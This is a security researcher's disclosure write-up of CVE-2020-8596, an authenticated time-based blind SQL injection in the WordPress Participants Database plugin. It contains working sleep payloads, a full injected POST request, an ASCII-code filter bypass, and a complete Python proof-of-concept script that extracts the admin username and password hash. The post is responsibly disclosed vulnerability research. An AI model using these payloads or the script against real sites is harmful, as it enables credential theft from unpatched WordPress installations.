Authenticated Time Based SQL Injection in WordPress Participants Database Plugin <= 1.9.5.5 (CVE-2020-8596)

Preface: As part of our standard business practice, we endeavor to provide our penetration testers research time to develop tools, discover exploits and contribute to the community with the aim to stay ahead of the game. We always follow responsible disclosure guidelines!

Background

Welcome back, another week, another WordPress issue. Working off my previous bug hunting in WordPress plugins, I added a bunch more plugins to my local test WordPress instance and went hunting, this time with an interesting SQL injection vulnerability, and one that is a mouthful to say.

The Plugin

The WordPress plugin chosen for testing this time was the Participants Database. Its a nifty little plugin that allows you to create a database for any requirement, manageable from the admin dashboard.

The Identification

The first note to make is that this is an authenticated SQL injection, thus the risk is reduced. However, there are still many scenarios where this could be exploited to an attackers advantage.

Using the same methodology as last time, I throw payloads at each dynamic function on each page until something triggers, or returns data that might be of interest. In this instance, it was the SQL “sleep” command that did it.

The page “/wp-admin/admin.php?page=participants-database” seemingly accepted the injected SQL sleep command when appended to entries in the body of the POST request sent to update/reorder the page. These three POST parameters were:

  • ascdesc
  • list_filter_count
  • sortBy

Lets use the “ascdesc” parameter as the example.

I sent the payload:

 (select*from(select(sleep(20)))a)

The page did not return for 40 seconds. This was interesting for two reasons. Firstly, this is the common payload for the “Sleepy User Agent” SQL injection attack often targeting the User Agent parameter in a request’s header values. Secondly, why was it sleeping for 40 seconds when the payload is using 20?

I nearly ignored it putting it down to sending too many requests to my poor little virtual machine, but as it was a time based payload and it was taking time to return, it would make sense not to ignore it.

The following is an example POST request with the SQL payload in the body.

POST /wp-admin/admin.php?page=participants-database HTTP/1.1
Host: *redacted....cause*
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: /wp-admin/admin.php?page=participants-database
Content-Type: application/x-www-form-urlencoded
Content-Length: 169
Connection: close
Cookie: *cookies were here*

Upgrade-Insecure-Requests: 1

action=admin_list_filter&search_field%5B0%5D=&operator%5B0%5D=LIKE&value%5B0%5D=&logic%5B0%5D=AND&list_filter_count=1&sortBy=date_updated&ascdesc=desc%2c(select*from(select(sleep(20)))a)&submit-button=Sort

The Exploit

Ok, so first thing first, why was it sleeping and why for 40 seconds? Being that this is the exact double of 20 (I am such a maths genius) I figured maybe the statement is executed twice. So the first test was injecting different sleep lengths to see if they all match up at double.

20 seconds:

(select*from(select(sleep(20)))a)

10 seconds:

 (select*from(select(sleep(10)))a)

5 seconds:

 (select*from(select(sleep(5)))a) 

Excellent, each time we change the sleep time in the SQL command the request returns at almost exactly double the time. Which means that the exploit is working, and we know its executing twice. Now its time to try and extract some data.

Extraction of data

So as this is a blind exploitation (no responses returned with data), we will have to create payloads that will sleep if the SQL statement we inject evaluates to “true”.

Using knowledge of my environment, I know that the first entry in my test WordPress user database is “admin”, so I used this as the bases for my first payload.

(select sleep(5) from wp_users where substring(length(user_login),1,1)='a' and id=1)

This statement will sleep for 5 seconds (10 seconds in this instance as its executed twice) if the first character of the first username in the “wp_users” table is “a”. In our case, this should verify to true and sleep….it did not.

Filter Bypass

So, the fact my SQL statement was not triggering the sleep means there must be some sort of filter/escaping happening before its passed to the back end.

My assumption at this point is that single quotes are filtered as we already know brackets are accepted or the original payload would not have triggered.

We can bypass the use of single quotes in this statement by using ascii char codes like so:

(select sleep(5) from wp_users where ascii(substring(length(user_login),1,1))=53 and id=1)

Bingo! This triggered and successfully slept for 10 seconds.

Image result for hurray

Automating Data Exfiltration

So now we have a working payload we need to automate this extraction. One could simple go through iterating over each ascii character with BurpSuite’s Intruder, however I thought I would write a proper proof of concept script that would allow the devs to test it simply.

The following code will take the URL as the command line argument, then it will ask for an account to login with. Once it authenticates to WordPress it will then extract the username and password (hash) of the first user in the “wp_users” database by iterating over each ascii character one by one, if the response takes more than a defined time (based on the sleep command) it will print that character.

import requests
import sys
import getpass

def wpLogin(ip, username, password):

        #Sets URL for login
        wp_login = ip + '/wp-login.php'
        wp_admin = ip + '/wp-admin/'

        #Perform login
        with requests.Session() as s:
                headers1 = { 'Cookie':'wordpress_test_cookie=WP Cookie check' }
                datas={
                        'log':username, 'pwd':password, 'wp-submit':'Log In',
                        'redirect_to':wp_admin, 'testcookie':'1'
                }

                s.post(wp_login, headers=headers1, data=datas)
                resp = s.get(wp_admin)
                cookies = s.cookies.get_dict()

        return cookies


def listParticipants_sqli(ip, inj_str, wpCookies):
        for j in range(33, 126):
                # Create request with iterated payload
                target = "%s/wp-admin/admin.php?page=participants-database" % (ip)

                data = {'action': 'admin_list_filter',
                        'ascdesc': 'desc,' + inj_str.replace("[CHAR]", str(j)),
                        'submit-button': 'Sort'}

                r = requests.post(url = target, data = data, cookies = wpCookies)

                responseTime = r.elapsed.total_seconds()

                #Adjust for your required timings
                if (responseTime > 9):
                        return j
        return None

def getLength_sqli(ip, inj_str, wpCookies):
        for j in range(48, 57):
                # Create request with iterated payload
                target = "%s/wp-admin/admin.php?page=participants-database" % (ip)

                data = {'action': 'admin_list_filter',
                        'ascdesc': 'desc,' + inj_str.replace("[CHAR]", str(j)),
                        'submit-button': 'Sort'}

                r = requests.post(url = target, data = data, cookies = wpCookies)

                responseTime = r.elapsed.total_seconds()

                #Adjust for your required timings
                if (responseTime > 9):
                        return j
        return None


def main():
        #Get arguments from command line (IP address)
        if len(sys.argv) != 2:
                print "(+) usage: %s <URL to WordPress Instance>" % sys.argv[0]
                print '(+) eg: %s http://192.168.121.103/wordpress' % sys.argv[0]
                sys.exit(-1)

        ip = sys.argv[1]

        userPass = []

        wpDatabase = ["user_login", "user_pass"]

        username = raw_input("(+) Please enter your wordpress username: ")

        password = getpass.getpass("(+) Please enter your wordpress password: ")


        #Perform injection for both username and password field
        for field in wpDatabase:

                print "(+) Retrieving length of %s field...." % (field)

                wpCookies = wpLogin(ip, username, password)

                #Get length of the field

                finalLength = []

                for i in range(1, 4):
                        length_injection_string = "(select sleep(5) from wp_users where ascii(substring(length(%s),%d,1))=[CHAR] and id=1)" % (field, i)

                        length_value = getLength_sqli(ip, length_injection_string, wpCookies)

                        finalLength.append(str(length_value))

                fieldLength = []
                for item in finalLength:
                        if (item != 'None'):
                                fieldLength.append(item)

                lengthArray = []

                for f in fieldLength:
                        chrConvert = chr(int(f))
                        lengthArray.append(chrConvert)

                finalFieldLength = ''.join(lengthArray)

                intFieldLength = int(finalFieldLength) + 1

                print "Field Length = " + finalFieldLength

                # Extract data

                print "(+) Exfiltrating data from %s...." % (field)

                for i in range(1, intFieldLength):
                        injection_string = "(select sleep(5) from wp_users where ascii(substring(%s,%d,1))=[CHAR] and id=1)" % (field, i)

                        extracted_char = chr(listParticipants_sqli(ip, injection_string, wpCookies))

                        sys.stdout.write(extracted_char)

                        sys.stdout.flush()

                print "\n(+) done!"

if __name__ == "__main__":
        main()

Remediation

This SQL injection was super fun to work on. I have yet to find a time based SQL injection vulnerability in the wild until now.

The developers of the Participants Database Plugin were contacted prior to this post to ensure they had adequate time to remediate the issue. They were super supportive and jumped straight on it. This has now been fixed with some parameterized queries.

If you are using Participants Database plugin 1.9.5.5 or below, please update now to the latest version!

Peace.

Only registered users can comment.

Comments are closed.